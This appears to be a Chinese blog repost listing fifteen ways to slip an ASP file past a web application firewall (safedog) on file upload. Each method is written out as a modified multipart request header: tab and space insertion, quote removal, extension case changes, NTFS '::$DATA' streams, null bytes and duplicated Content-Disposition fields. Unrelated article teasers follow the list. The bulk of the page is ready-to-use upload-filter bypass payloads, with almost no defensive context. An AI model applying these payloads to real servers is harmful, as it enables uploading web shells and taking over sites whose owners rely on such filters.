文件上传过waf的方法
原文链接: https://www.cesafe.com/8411.html
原始请求包:
- ——WebKitFormBoundary2smpsxFB3D0KbA7D
- Content-Disposition: form-data; name=”filepath”; filename=”cesafe.asp”
- Content-Type: text/html
方法1,文件名前缀加[0x09]绕过:
- ——WebKitFormBoundary2smpsxFB3D0KbA7D
- Content-Disposition: form-data; name=”filepath”; filename=”[0x09]cesafe.asp”
- Content-Type: text/html
方法2,文件名去掉双引号绕过:
- ——WebKitFormBoundary2smpsxFB3D0KbA7D
- Content-Disposition: form-data; name=”filepath”; filename=cesafe.asp
- Content-Type: text/html
方法3,添加一个filename1的文件名参数,并赋值绕过:
- ——WebKitFormBoundary2smpsxFB3D0KbA7D
- Content-Disposition: form-data; name=”filepath”; filename=”cesafe.asp”;filename1=”test.jpg”
- Content-Type: text/html
方法4,form变量改成f+orm组合绕过:
- ——WebKitFormBoundary2smpsxFB3D0KbA7D
- Content-Disposition: f+orm-data; name=”filepath”;filename=”cesafe.asp”
- Content-Type: text/html
方法5,文件名后缀大小写绕过:
- ——WebKitFormBoundary2smpsxFB3D0KbA7D
- ConTent-Disposition: form-data; name=”filepath”; filename=”cesafe.Asp”
- Content-Type: text/html
方法6,去掉form-data变量绕过:
- ——WebKitFormBoundary2smpsxFB3D0KbA7D
- ConTent-Disposition: name=”filepath”; filename=”cesafe.asp”
- Content-Type: text/html
方法7,在Content-Disposition:后添加多个空格 或者在form-data;后添加多个空格绕过:
- ——WebKitFormBoundary2smpsxFB3D0KbA7D
- ConTent-Disposition: form-data ; name=”filepath”; filename=“cesafe.asp”
- Content-Type: text/html
方法8,cesafe.asp . (空格+.)绕过:
- ——WebKitFormBoundary2smpsxFB3D0KbA7D
- ConTent-Disposition: form-data; name=”filepath”; filename=”cesafe.asp .”
- Content-Type: text/html
方法9,“回车换行,绕过:
- ——WebKitFormBoundary2smpsxFB3D0KbA7D
- ConTent-Disposition: form-data; name=”filepath”; filename=”cesafe.asp ”
- Content-Type: text/html
方法10,NTFS流 在文件名后加::$DATA绕过:
- ——WebKitFormBoundary2smpsxFB3D0KbA7D
- ConTent-Disposition: form-data; name=”filepath”; filename=”cesafe.asp::$DATA” Content-Type: text/html
- OR
- ——WebKitFormBoundary2smpsxFB3D0KbA7D
- ConTent-Disposition: form-data; name=”filepath”; filename=”cesafe.asp::$DATA\0x00\fuck.asp0x00.jpg”
- Content-Type: text/html
方法11,经过对IIS 6.0的测试发现,其总是采用第一个Content-Disposition中的值做为接收参数,而安全狗总是以最后一个Content-Disposition中的值做为接收参数。因此尝试构造如下请求[上传cesafe.asp成功]:
- Content-Disposition: form-data; name=”FileUploadName”; filename=”cesafe.asp” —————————–
- Content-Disposition: form-data; name=”FileUploadName”; filename=”cesafe.txt”
- Content-Type: application/octet-stream
- Content-Disposition: form-data; name=”FileUploadName”; filename=”cesafe.asp”
- Content-Disposition: form-data; name=”FileUploadName”; filename=”cesafe.asp”
方法12,将Content-Type和ConTent-Disposition调换顺序位置绕过:
- ——WebKitFormBoundary2smpsxFB3D0KbA7D
- Content-Type: text/html
- ConTent-Disposition: form-data; name=”filepath”; filename=”cesafe.asp”
方法13,在文件名前缀加空格(tab键可替换)绕过:
- ——WebKitFormBoundary2smpsxFB3D0KbA7D
- Content-Disposition: form-data; name=”filepath”; filename= “cesafe.asp”
- Content-Type: text/html
方法14,在form-data前加空格绕过:
- ——WebKitFormBoundary2smpsxFB3D0KbA7D
- Content-Disposition: form-data;name=”uploaded”; filename=”cesafe.asp”
- Content-Type: text/html
方法15,在form-data的前或后加上+绕过:
- ——WebKitFormBoundary2smpsxFB3D0KbA7D
- Content-Disposition: +form-data; name=”filepath”; filename=”cesafe.asp”
- Content-Type: text/html
参考:https://www.cesafe.com/8411.html
文件上传过waf的方法的更多相关文章
- 文件上传和WAF的攻与防
Author:JoyChouDate:20180613 1. 前言 本文的测试环境均为 nginx/1.10.3 PHP 5.5.34 有些特性和 语言及webserver有关,有问题的地方,欢迎大家 ...
- PHP实现多文件上传的一些简单方法
下面我们就通过具体的代码示例,为大家介绍PHP实现多文件上传的一些简单方法. 第一种方法:利用单个文件上传方法 一段简单的form表单代码如下: <!DOCTYPE html> <h ...
- 文件上传之WAF绕过及相安全防护
文件上传在数据包中可修改的地方 Content-Disposition:一般可更改 name:表单参数值,不能更改 filename:文件名,可以更改 Content-Type:文件 MIME,视情况 ...
- 24:WEB漏洞-文件上传之WAF绕过及安全修复
本课重点 案例1:上传数据包参数对应修改测试 案例2:safedog+云服务器+uploadlabs测试 案例3:safedog+云服务器+uploadlabs_fuzz测试 案例4:文件上传安全修复 ...
- IIS 之 通过 Web.config 修改文件上传大小限制设置方法
在IIS 6.0中,不设置默认大小为4M,设置文件上传大小的方法,maxRequestLength(KB),executionTimeout(毫秒),配置如下节点: <system.web> ...
- springMVC文件上传的三种方法
这时:commonsmultipartresolver 的源码,可以研究一下 http://www.verysource.com/code/2337329_1/commonsmultipartreso ...
- 详解jQuery uploadify文件上传插件的使用方法
uploadify这个插件是基于js里面的jquery库写的.结合了ajax和flash,实现了这个多线程上传的功能. 现在最新版为3.2.1. 在线实例 实例中用到的php文件UploaderDem ...
- SpringBoot从入门到精通十一(SpringBoot文件上传的两种方法)
前言 在企业级项目开发过程中,上传文件是最常用到的功能.SpringBoot集成了SpringMVC,当然上传文件的方式跟SpringMVC没有什么出入. 本章目标 使用SpringBoot项目完成单 ...
- IIS 6和IIS 7 中设置文件上传大小限制设置方法,两者是不一样的
在IIS 6.0中设置文件上传大小的方法,只要设置httpRuntime就可以了 <system.web> <httpRuntime executionTimeout="3 ...
随机推荐
- 深入理解幂等性及Restful风格API的幂等性问题详解
什么是幂等性 HTTP/1.1中对幂等性的定义是:一次和多次请求某一个资源对于资源本身应该具有同样的结果(网络超时等问题除外).也就是说,其任意多次执行对资源本身所产生的影响均与一次执行的影响相同. ...
- python——面向对象(4),单继承
"""class 类名(object<父类>)继承:子类继承父类.单继承:""" class A(object): " ...
- 为什么你SQL Server中SQL日期转换出错了呢?
开发人员有时候使用类似下面SQL将字符串转换为日期时间类型,乍一看,这样的SQL的写法是没有什么问题的.但是这样的SQL其实有时候就是一个定时炸弹,随时可能出现问题(),下面简单对这种情况进行一个简单 ...
- 【python基础语法】第8天作业练习题
""" # 第一题: # 要求:请将数据读取出来,转换为以下格式 {'data0': '数据aaa', 'data1': '数据bbb', 'data2': '数据ccc ...
- ARC 064 F-Rotated Palindromes
题意 问有多少个长度为 \(N\) 且字符集大小为 \(K\) 的字符串可以通过回文串旋转 (把第一个字符移到最后)若干次得到.\(N,K\le 10^9\) 做法 设\(f_i\)为最小周期为\(i ...
- HTML单词
html超文本标记语言 head 头部font 字体 字形i(italic) 倾斜,斜体字big 大的,字体加大hr 水平线Pre(predefined)预定义h5标题5Div(division)区隔 ...
- logback日志的基本使用
logback的日志使用,有两种方式,可以在application.yml文件中配置,不过最常见的还是用一个单独的xml配置文件进行配置: 一.application.yml配置方式 logging: ...
- 函数的默认值与动态参数arguments的总结
在js函数与作用域,了解函数基本概念中,我们发现当函数的实参有一个没有上传的时候,对应的形参time展示的值就是undefined,如下代码所示: <!DOCTYPE html> < ...
- CSS中before、after伪类选择器的巧用
大家好,今天给大家带来使用css中 before . after 实现两个效果,话不多说,我们先来看看, before 和 after 它们的作用是什么 选择器 作用 before 向选定的元素前插入 ...
- CentOS配置禁止root用户直接登录
Linux的默认管理员名即是root,只需要知道ROOT密码即可直接登录SSH.禁止Root从SSH直接登录可以提高服务器安全性.经过以下操作后即可实现.本文适用于CentOS.Debian等Linu ...